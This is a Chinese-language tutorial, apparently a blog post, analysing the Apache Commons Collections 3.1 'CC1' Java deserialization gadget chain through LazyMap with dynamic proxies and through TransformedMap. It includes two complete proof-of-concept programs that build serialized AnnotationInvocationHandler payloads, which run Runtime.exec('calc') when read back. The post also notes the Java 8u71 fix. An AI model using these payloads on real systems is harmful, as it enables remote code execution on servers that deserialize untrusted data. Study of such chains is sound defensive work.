cc链1

前提知识点

动态代理

Proxy.newProxyInstance 方法用于创建动态代理对象。它接受三个参数:

  1. ClassLoader:指定用于加载代理类的类加载器。
  2. interfaces:指定代理类要实现的接口列表。
  3. invocationHandler:指定代理类的调用处理程序,用于处理代理类的方法调用。
1
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException

InvocationHandler也是一个接口需要写出invoke方法

1
2
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;

当我们调用某个动态代理对象的方法时,都会触发代理类的invoke方法,并传递对应的内容。

已经学过反射了就不详写了环境要commons-collections : 3.1 TransformedMap - jdk < 8u71

AbstractMapDecorator

首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。

这个类有很多实现类,各个类触发的方式不同,重点关注的是

它的子类 TransformedMap 以及 LazyMap。

TransformedMap

org.apache.commons.collections.map.TransformedMap 类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。

LazyMap

org.apache.commons.collections.map.LazyMap 与 TransformedMap 类似,不过差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform() 方法。

与 LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap,同样是 get() 方法会触发 transform 方法。

Transformer

org.apache.commons.collections.Transformer 是一个接口,提供了一个 transform() 方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。

在 Commons Collection 3.2.1 中,程序提供了 14 个 Transformer 的实现类,用来实现不同的对 TransformedMap 中 key/value 进行修改的功能。

重点关注其中几个实现类。

InvokerTransformer

这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象,我们来看一下它的 transfrom 方法,方法注释写的很清楚,通过反射调用 input 的方法,并将方法返回结果作为处理结果进行返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    //构造函数,也可以传一个参数,也没什么
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//transform方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}

分析为什么用了input (传进去对象) 的什么方法

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName,this.iParamTypes);
return method.invoke(input, this.iArgs);

发现通过反射获取可以构造函数初始化的变量方法,(iMethodName)和对应的类型,(iParamTypes)

构造函数初始化的传入参数(iArgs)作为方法执行的参数

ConstantTransformer

其transform方法将输入原封不动的返回:

1
2
3
4
5
6
7
8
9
//构造函数
//private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
//transform方法
public Object transform(Object input) {
return this.iConstant;
}

不管传入的objec是什么都会返回本来的构造函数设置的对象

ChainedTransformer

其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去:

上一次返回的object作为下一个参数

1
2
3
4
5
6
7
8
// private final Transformer[] iTransformers; 
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

命令执行

1
2
3
4
5
6
//Runtime类的对象能使用方法exec()来命令执行,但是Runtime类的构造方法是私有的所以可以获取类
public static Runtime getRuntime() {
return currentRuntime;
}

private static Runtime currentRuntime = new Runtime();

由这三个transformer组合起来,即可实现任意命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class cc1 {

public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(123);
}
}

分析:

1
2
3
4
5
6
/*
入口点是chain.transform(123);进入ChainedTransformer类transform方法怎么用的看上面 传入123
第一个transformer对象是 ConstantTransformer 传入123也只会返回 Runtime.class
第二个transformer对象是 InvokerTransformer 传入Runtime.class作为input 所以使用了Runtime.class.getMethod方法 参数是 getRuntime 和一个null(后面再说) 所以返回了 Menthod Runtime.getRuntime
第三个transformer对象是 InvokerTransformer 传入Menthod Runtime.getRuntime 所以使用了 Menthod的invoke方法学反射时候就已经学了menthod.invoke(object,args)(因为是静态static所以null) 所以使用了方法 getRuntime()返回了一个Runtime的对象了
第三个transformer对象是 InvokerTransformer 传入Runtime对象 所以使用了Runtime.exec()方法 参数是是calc
1
2
3
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invoketransformer.transform(constantTransformer);

看看简单代码搭配ChainedTransformer是这样的:

1
2
3
4
5
6
7
8
public void test(){
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

});
chain.transform(123);
}

此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce,但是当尝试去序列化的时候,发生了一个问题:

因为这里的Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败。

那么我们就需要找到一个方法来获取到Runtime.getRuntime()返回的结果,并将其传入invoketransformer的transform方法中。这就有了上边那条链。

上面说了,其transform方法是将输入的Object原封不动的返回回去,那么我们是不是可以尝试这么搭配:

这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果。

这里我一开始看Class[].class以及new Class[0]。这里尝试通过反射去调用getMethod方法,而getMethod的定义如下:

-w903

这里需要传入一个name也就是要调用的方法名,接着需要传递一个可变参数,所以这里的Class[].class,其实就是对应着这里的可变参数,即使我们不需要传递参数,也需要在这里加一个Class[].class,后边再加一个new Class[0]起到占位的作用。也可以用null

目前已经构造到只需要反序列化后调用transform方法,并传递任意内容即可rce。我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ObjectInputStream.readObject()-> 
AnnotationInvocationHandler.readObject() -> AnnotationInvocationHandler(Proxy).entrySet()->
AnnotationInvocationHandler.invoke()->
lazymap.get->
factory.transform(key)

ObjectInputStream.readObject()->
AnnotationInvocationHandler.readObject() ->
/*过程理解
Transformed.EntrySet()->
AbstractInputCheckedMapDecorator.EntrySet()->
Transformed.isSetValueChecking()->
AbstractInputCheckedMapDecorator.EntrySet(x,y)->
AbstractInputCheckedMapDecorator.EntrySet.iterator()->
AbstractInputCheckedMapDecorator.EntrySetIterator.next()->
var5=AbstractInputCheckedMapDecorator.MapEntry*/
AbstractInputCheckedMapDecorator.MapEntry.setValue() ->
TransformedMap.checkSetValue()->
valueTransformer.transform(value)->

利用链分析

Lazymap

Lazymap#get这个方法:

-w611

如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了

1
protected final Transformer factory;

这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值。并且这里需要初始化的map没有包含传入的键名 (后面说)

-w652

但是这里的构造方法并不是public的,所以可以通过反射的方式来获取到这个构造方法,再创建其实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//通过get来执行命令
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);
}

接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析cc1的前半段链了。

入口时AnnotationInvocationHandler的readObject:

img

首先调用 AnnotationType.getInstance(this.type)(后面提到)

1
2
 private final Class<? extends Annotation> type;
自己简单想一下就知道如果要进入if(var7!=null)就知道了提这里干嘛了

来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。

1
2
3
4
//AnnotationType   
public Map<String, Class<?>> memberTypes() {
return this.memberTypes;
}

重点是这里Iterator var4 = this.memberValues.entrySet().iterator();

memberValues需要这里定义是map但是如果其具体实现类是 Java 运行时生成的动态代理类。通过代理对象调用自定义注解(接口)的方法,会最终调用 AnnotationInvocationHandler 的 invoke 方法。该方法会从 memberValues 这个 Map 中索引出对应的值。

简单来说

这里的readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。不能理解就自己多调试吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//学过反射的你一定知道这里的参数是什么
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
...

这里对this.memberValues调用了get方法,如果此时this.memberValues为我们的lazymap,那么就会触发LazyMap#get,从而完成触发rce。

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
// Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
// Constructor[] constructors = clazz.getDeclaredConstructors();
// Constructor constructor = constructors[0];
// constructor.setAccessible(true);
// Map map = (Map)constructor.newInstance(innermap,chain);
Map map = LazyMap.decorate(innermap,chain);

Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象

//分开名字方便理解
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Target.class,proxy_map);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc1.txt"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc1.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

创建lazymap那里其实并不需要用到反射,因为lazymap自带了一个方法来帮助我们创建其实例:

-w896

所以把上述通过反射来创建LazyMap的实例代码改为如下,也是可以成功的后面那个同理:

1
2
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

TransformedMap

当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。应为check(改变的时候就要检查字面意思理解很合理吧)这里是利用setvalue改变值

让来看看这里的transform方法和构造方法

1
2
3
4
5
6
7
8
9
10
//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//tranform
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

所以要触发的就是这个了

接着lazymap上面说到var3是一个注解类继续分析到

进入whie循环的作用其实是用this.memberValues 这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。要这个玩意就不能var7=null所以为什么双个地方一个haspmap可以为空,另一个不可以

而因为我们要利用改变值这里就是memberValues是transformedmap

1
2
3
4
5
//       Map.Entry表示映射(Map)中的键值对的接口。它定义了访问和操作键值对的方法。先简单理解这里var7是
// 获取我们传入得到值
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);

this.memberValues这里的值是TranformedMap的实例而实例初始化是(Hashmap,null ,tranformer),所以这里构造方法会super(map),让父类的方法都变成hashmap的 (看过头了但是有一点帮助吧)

this.memberValues.entrySet()跟进类TranformedMap的entrySet()方法,发现类没有,那就是继承了,跟进父类AbstractInputCheckedMapDecorator的方法

1
2
3
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new EntrySet(super.map.entrySet(), this) : super.map.entrySet());
}

查看isSetValueChecking()这个方法TranformedMap类重写了

1
2
3
return this.valueTransformer != null;
因为我们设置了值所以返回true
如果为false,super.map.entrySet());说过了是hashmap的东西并不会把TranformedMa类的方法带进去所以触发不了tranform,自己可以更进一下,这就是this的重要性

跟进EntrySet类发现在

跟进AbstractInputCheckedMapDecorator 的EntrySet类,他的构造方法

protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent)

所以不用管第一个传进去的参数因为肯定是set后面也没什么用

但是这里parent参数是this,所以这里parent是tranformap类

继续看

AbstractInputCheckedMapDecorator 的 EntrySet类的iterator() 方法,又创了一个实例所以这里var4出来了

1
2
3
public Iterator iterator() {
return new EntrySetIterator(super.collection.iterator(), this.parent);
}//还是this.parent

跟进实例EntrySetIterator类,找到反序列化用到的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
static class EntrySetIterator extends AbstractIteratorDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}

public Object next() {
Map.Entry entry = (Map.Entry)super.iterator.next();
return new MapEntry(entry, this.parent);
}
}//this.parent

hasnext()里面意思理解有没有下一个数据

发现next返回了一个类MapEntry

因为 Map.Entry var5 = (Map.Entry)var4.next();

所以var5是这个MapEntry实例

1
2
3
4
5
6
7
8
9
10
11
12
13
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);//这里是hashmap
this.parent = parent;//还是那个tran类
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
1
2
3
4
5
可以继续分析了这里var6就是hashmap的键var7就是从var3我们传入那个泛型中得到这个键值的class
//Field.get(Object)获取指定实例的指定字段的值。反射
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);

继续这里var7!=null了,

所以跟进var5里面的setvalue方法就是MapEntry类里面的

所以就触发了checkSetValue,

所以跟进checkSetValue,进入tranformermap类

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

这里就触发transform函数了

poc链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main{
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
IllegalAccessException, InvocationTargetException, InstantiationException{
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map hashMap = new HashMap();
// 这里 key 一定是 下面实例化 AnnotationInvocationHandler 时传入的注解类中存在的属性值
// 并且这里的值的一定不是属性值的类型
hashMap.put("value", 2);

Map transformedMap = TransformedMap.decorate(hashMap, null, chain);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, transformedMap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc1.txt"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc1.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

总结

LazyMap利用动态代理来触发transformer

TransformedMap利用重新setvalue方法触发transformer

在Java 8u71以后,官⽅修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject⽅法。 改动后,不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对 Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作,也就不会触发RCE了。